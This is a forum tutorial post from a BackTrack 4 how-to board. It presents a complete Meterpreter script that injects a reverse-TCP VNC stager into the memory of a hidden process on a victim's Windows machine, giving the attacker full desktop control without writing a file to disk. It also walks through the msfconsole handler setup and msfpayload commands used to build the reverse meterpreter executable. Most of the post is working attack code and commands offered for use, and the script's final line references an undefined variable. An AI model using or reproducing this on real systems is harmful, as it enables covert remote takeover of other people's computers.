|
|||||||
| BackTrack 4 Howto Tutorials and Howtos about BackTrack 4 (NOT for requesting tutorials or how to do anything) |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|||
|
Description:
A script that utilizes memory injection to get a VNC session without losing your meterpreter session. I spent quite a bit of time trying to get vnc_oneport.rb working. Then finally decided that vnc.rb worked great except 1 thing. It created a file on the victims machine and you would have to manually delete it later. So I utilized the cool execution and injection feature that was in vnc_oneport.rb and ported it into vnc.rb. This is sort of a work in progress but I'll share what I've done so far to get it working. It's not as hard as it looks as long as you know how to get a meterpreter session. First we need to traverse to the directory that we will be putting our script into. Open a shell and type: Code:
cd /pentest/exploits/framework3/scripts/meterpreter/ Code:
nano vnc_mem.rb Code:
# $Id: vnc_mem.rb 12-17-2009 hdm $
#
# Meterpreter script for obtaining a quick VNC session
# Hybrid of vnc.rb and vnc_oneport.rb
# Utilizes memory functions so no file is created
# Known Issue: spawns metasploit courtesy shell on vnc server side (victim)
# You can exit out of courtesy shell easily once you obtain a vnc session
# All code written by H.D. Moore (hdm)
# Edited by hhmatt
#
session = client
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"],
# "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"],
"-e" => [ true, "The process to run and inject into (default: notepad.exe)"]
)
#
# Default parameters
#
runme = "notepad.exe"
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4545
#autoconn = true
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
return
when "-r"
rhost = val
when "-p"
rport = val.to_i
# when "-D"
# autoconn = false
when "-e"
runme = val
end
end
#
# Create the agent EXE
#
print_status("Creating a VNC stager: LHOST=#{rhost} LPORT=#{rport})")
pay = client.framework.payloads.create("windows/vncinject/reverse_tcp")
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
raw = pay.generate
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
print_status("VNC stager executable #{exe.length} bytes long")
#
# Create a host process
#
pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid
print_status("Host process #{runme} has PID #{pid}")
note = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = note.memory.allocate(1024*32)
print_status("Allocated memory at address #{"0x%.8x" % mem}")
print_status("Writing the VNC stager into memory...")
note.memory.write(mem, raw)
#
# Setup the multi/handler
#
mul = client.framework.exploits.create("multi/handler")
mul.datastore['PAYLOAD'] = "windows/vncinject/reverse_tcp"
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true)
#
# Execute the agent
#
print_status("Creating a new thread within #{runme} to run the VNC stager...")
note.thread.create(mem, 0)
print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...")
proc = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
Then you can save and exit: Code:
Ctrl+o (the letter not the number zero) Ctrl+x So lets start Metasploit! Code:
/pentest/exploits/framework3/./msfconsole Ok so let's get our meterpreter session started. Code:
msf > use multi/handler msf(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf(handler) > show options LHOST is your attacker machine and LPORT is your port to listen on. Code:
msf(handler) > set LHOST 192.168.1.100 msf(handler) > set LPORT 81 Code:
msf(handler) > exploit Code:
[*] Starting the payload handler... [*] Started Reverse Handler on port 81 This is how I made my exe. Code:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=81 X > /tmp/meter.exe Code:
meterpreter > Code:
meterpreter > ipconfig meterpreter > getuid Code:
meterpreter > ? Code:
meterpreter > run vnc_mem.rb -h Here's what I get: Code:
OPTIONS:
-e <opt> The process to run and inject into (default: notepad.exe)
-h This help menu
-p <opt> The port on the remote host where Metasploit is listening (default: 4545)
-r <opt> The IP of the system running Metasploit listening for the connect back
Code:
meterpreter > run vnc_mem.rb At this point you should've recieved a new window open in tightvnc with your victims desktop and full control! You can also check back on meterpreter and see that you still have an active session. Sometimes you have to hit enter once or twice to see the prompt. Hope you get some useful information from this and happy hacking!
__________________
The only real problems in life are the problems that are common to all humans. Last edited by hhmatt81; 01-16-2010 at 12:49 AM. |
![]() |
| Bookmarks |
| Tags |
| meterpreter, vnc, vncinject |
| Thread Tools | |
| Display Modes | |
|
|